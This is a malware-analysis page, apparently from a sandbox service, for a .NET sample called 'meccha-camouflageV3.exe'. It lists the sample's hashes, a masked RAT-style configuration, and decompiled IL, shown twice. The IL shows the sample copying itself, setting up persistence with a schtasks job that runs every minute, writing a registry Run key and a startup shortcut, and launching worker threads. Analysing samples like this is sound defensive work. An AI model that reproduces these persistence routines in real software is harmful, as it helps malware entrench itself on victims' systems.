179e5c88bbd34e45830e7ee3610d5216

PE Executable

MD5: 179e5c88bbd34e45830e7ee3610d5216

Size: 312.83 KB

application/x-dosexec

Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

Symbol Obfuscation Score Very high

MD5	179e5c88bbd34e45830e7ee3610d5216
Sha1	e6fa8fda487392419be240e2911e7c9c346b750c
Sha256	0aac658075b7d9e81419d0beaa3db796569bc14fd57512f4479fb36e9cc4c1a2
Sha384	2cd0bed103a285a9f8d3cc7b601d318275db62a6762f19ed80788a377378ab50f32a827187590039551ddd3815e0064a
Sha512	04a4337b1303620700aef77f183172c2fc4385968fe82112b3e835d331b7ebd6cb2351ca5768c314b2d7f0eed1838238461e805cb89cf60dfd6034d8d4950025
SSDeep	3072:ZU1tzbXBDsk6iJOmh1U6edqimAaxHoSaxtoR8HFUOBy7U5XsYkjT06G:G1BbZse4U/ACH9ax66HFUFI5XXk
TLSH	7064E01837E4C929D2FDDB781CA0E1968A35FE651C23561B7AD06BBF2A31354CE013E9

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

Config. Field	Value
Mutex	rsriuhuhuhuhuhuhuhu
Hosts	127.0.huhuhuhuhuhuhuhuhuhuhu
Port	2huhuhuhu
KEY	<12huhuhuhu
USBNM	<Xwhuhuhuhu
LoggerPath	%Prohuhuhuhuhuhuhu
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

Unlock with Essential

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	meccha-camouflageV3.exe
Full Name	meccha-camouflageV3.exe
EntryPoint	System.Void Stub.0iErEQWPkKWPNUizSmYkM::FWzXp2IW0MbAti1kFt7SC()
Scope Name	meccha-camouflageV3.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	meccha-camouflageV3
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	424
Main Method	System.Void Stub.0iErEQWPkKWPNUizSmYkM::FWzXp2IW0MbAti1kFt7SC()
Main IL Instruction Count	319
Main IL	ldsfld System.Int32 GxijyYmn5EL75lWl6ATBe::AhvA1tw7RQ58gSwT19mm3 ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String GxijyYmn5EL75lWl6ATBe::gqyyQZc6BdyMfzI7x6eY5 call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::gqyyQZc6BdyMfzI7x6eY5 ldsfld System.String GxijyYmn5EL75lWl6ATBe::Y42H8PaH0TaEymrFgIoTd call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::Y42H8PaH0TaEymrFgIoTd ldsfld System.String GxijyYmn5EL75lWl6ATBe::ZzmKvV3GBPR6AuSSa8Vc5 call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::ZzmKvV3GBPR6AuSSa8Vc5 ldsfld System.String GxijyYmn5EL75lWl6ATBe::q1J0o32NzttyQGTkHWCeI call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::q1J0o32NzttyQGTkHWCeI ldsfld System.String GxijyYmn5EL75lWl6ATBe::WlZlVz0Pro0mBUhmnvte6 call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::WlZlVz0Pro0mBUhmnvte6 ldsfld System.String GxijyYmn5EL75lWl6ATBe::Vm6sN6ZCJzFoBFYaj62qY call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::Vm6sN6ZCJzFoBFYaj62qY ldsfld System.String GxijyYmn5EL75lWl6ATBe::5eO9cvzO2ia7J3pBdvtLq call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String GxijyYmn5EL75lWl6ATBe::5eO9cvzO2ia7J3pBdvtLq ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA leave.s IL_00CB: call System.Boolean Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::VG9BKg0u6dwxBEUyfywjEo3UTxYJOL1NM9T2S5t1pjiRFmuiLPmARk() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::VG9BKg0u6dwxBEUyfywjEo3UTxYJOL1NM9T2S5t1pjiRFmuiLPmARk() call System.Boolean Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::VG9BKg0u6dwxBEUyfywjEo3UTxYJOL1NM9T2S5t1pjiRFmuiLPmARk() brtrue.s IL_00D8: call System.Void Stub.0iErEQWPkKWPNUizSmYkM::TDW0na1BTHF0HbZMgfRBw() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.0iErEQWPkKWPNUizSmYkM::TDW0na1BTHF0HbZMgfRBw() leave.s IL_00EE: call System.Void Stub.0iErEQWPkKWPNUizSmYkM::OX1kFDTNH7kzcTxoSIKur() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.0iErEQWPkKWPNUizSmYkM::OX1kFDTNH7kzcTxoSIKur() call System.Void Stub.0iErEQWPkKWPNUizSmYkM::OX1kFDTNH7kzcTxoSIKur() ldsfld System.String GxijyYmn5EL75lWl6ATBe::5eO9cvzO2ia7J3pBdvtLq ldstr \ ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::NfwqiWOMvO4BwH7huhtkZjbXlSTCU06h1KHxVLJa3pokph5uoleFqH call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.4va4JEahwfa3VDMePgzxA::3oLYUEyjHPf9iPbLULfmW() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.Dg1FbH8Ix2bDhDyDCKti8 My.yC2wr5zyId83WOG6avpAo::EFNpD5v78UfbrX3VFWWOF() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.Dg1FbH8Ix2bDhDyDCKti8 My.yC2wr5zyId83WOG6avpAo::EFNpD5v78UfbrX3VFWWOF() call My.Dg1FbH8Ix2bDhDyDCKti8 My.yC2wr5zyId83WOG6avpAo::EFNpD5v78UfbrX3VFWWOF() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0302: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::HSzXaoYc4g98xGcnq5zYe3sMuvDBZwclYudJFtQf3YhSfvlwgzcOVo leave.s IL_0381: call System.Void Stub.Iwqt14JHZME7I6SiEOigo::wqow75IK33gv7XTBrJDHR() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0381: call System.Void Stub.Iwqt14JHZME7I6SiEOigo::wqow75IK33gv7XTBrJDHR() call System.Void Stub.Iwqt14JHZME7I6SiEOigo::wqow75IK33gv7XTBrJDHR() call System.Void Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::tfypLijPacPkTy4A15QnjUo7aRATTNzFQ76QBZPPkonQ3M353Bmo7I() ldnull <null> ldftn System.Void Stub.0iErEQWPkKWPNUizSmYkM::IM7knshc51tAc0ZV5e1n2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.4va4JEahwfa3VDMePgzxA::3oLYUEyjHPf9iPbLULfmW() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03B2: ldnull call System.Void Stub.GIGB4uALXu0nL2z0trVTLrZu307qfuYAn6KulYSHFUThoc1CBNTgZD::BSgQigwYwxQ5zWoIF6UaHievzIk1PTrDHHVYs6JMhACfwOvmSi6gc1() ldnull <null> ldftn System.Void Stub.0iErEQWPkKWPNUizSmYkM::0yyCIODXqV48L5B5Guljw() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.0iErEQWPkKWPNUizSmYkM::5l1MF5pJA0oUlyK9e0UcR() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name	meccha-camouflageV3.exe
Full Name	meccha-camouflageV3.exe
EntryPoint	System.Void Stub.0iErEQWPkKWPNUizSmYkM::FWzXp2IW0MbAti1kFt7SC()
Scope Name	meccha-camouflageV3.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	meccha-camouflageV3
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	424
Main Method	System.Void Stub.0iErEQWPkKWPNUizSmYkM::FWzXp2IW0MbAti1kFt7SC()
Main IL Instruction Count	319
Main IL	ldsfld System.Int32 GxijyYmn5EL75lWl6ATBe::AhvA1tw7RQ58gSwT19mm3 ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String GxijyYmn5EL75lWl6ATBe::gqyyQZc6BdyMfzI7x6eY5 call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::gqyyQZc6BdyMfzI7x6eY5 ldsfld System.String GxijyYmn5EL75lWl6ATBe::Y42H8PaH0TaEymrFgIoTd call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::Y42H8PaH0TaEymrFgIoTd ldsfld System.String GxijyYmn5EL75lWl6ATBe::ZzmKvV3GBPR6AuSSa8Vc5 call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::ZzmKvV3GBPR6AuSSa8Vc5 ldsfld System.String GxijyYmn5EL75lWl6ATBe::q1J0o32NzttyQGTkHWCeI call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::q1J0o32NzttyQGTkHWCeI ldsfld System.String GxijyYmn5EL75lWl6ATBe::WlZlVz0Pro0mBUhmnvte6 call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::WlZlVz0Pro0mBUhmnvte6 ldsfld System.String GxijyYmn5EL75lWl6ATBe::Vm6sN6ZCJzFoBFYaj62qY call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::Vm6sN6ZCJzFoBFYaj62qY ldsfld System.String GxijyYmn5EL75lWl6ATBe::5eO9cvzO2ia7J3pBdvtLq call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String GxijyYmn5EL75lWl6ATBe::5eO9cvzO2ia7J3pBdvtLq ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.Object Stub.7Egnu2YXcjq8Ag11iDJun95siutPNk4iBrGGwuahZcE7UbDwx26tyl::JhrPQUUIuoUVoYPd5W3E70arQUH9FQH3QglNt187P4VwC3bpxw3URn(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA leave.s IL_00CB: call System.Boolean Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::VG9BKg0u6dwxBEUyfywjEo3UTxYJOL1NM9T2S5t1pjiRFmuiLPmARk() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::VG9BKg0u6dwxBEUyfywjEo3UTxYJOL1NM9T2S5t1pjiRFmuiLPmARk() call System.Boolean Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::VG9BKg0u6dwxBEUyfywjEo3UTxYJOL1NM9T2S5t1pjiRFmuiLPmARk() brtrue.s IL_00D8: call System.Void Stub.0iErEQWPkKWPNUizSmYkM::TDW0na1BTHF0HbZMgfRBw() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.0iErEQWPkKWPNUizSmYkM::TDW0na1BTHF0HbZMgfRBw() leave.s IL_00EE: call System.Void Stub.0iErEQWPkKWPNUizSmYkM::OX1kFDTNH7kzcTxoSIKur() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.0iErEQWPkKWPNUizSmYkM::OX1kFDTNH7kzcTxoSIKur() call System.Void Stub.0iErEQWPkKWPNUizSmYkM::OX1kFDTNH7kzcTxoSIKur() ldsfld System.String GxijyYmn5EL75lWl6ATBe::5eO9cvzO2ia7J3pBdvtLq ldstr \ ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::NfwqiWOMvO4BwH7huhtkZjbXlSTCU06h1KHxVLJa3pokph5uoleFqH call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.4va4JEahwfa3VDMePgzxA::3oLYUEyjHPf9iPbLULfmW() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String 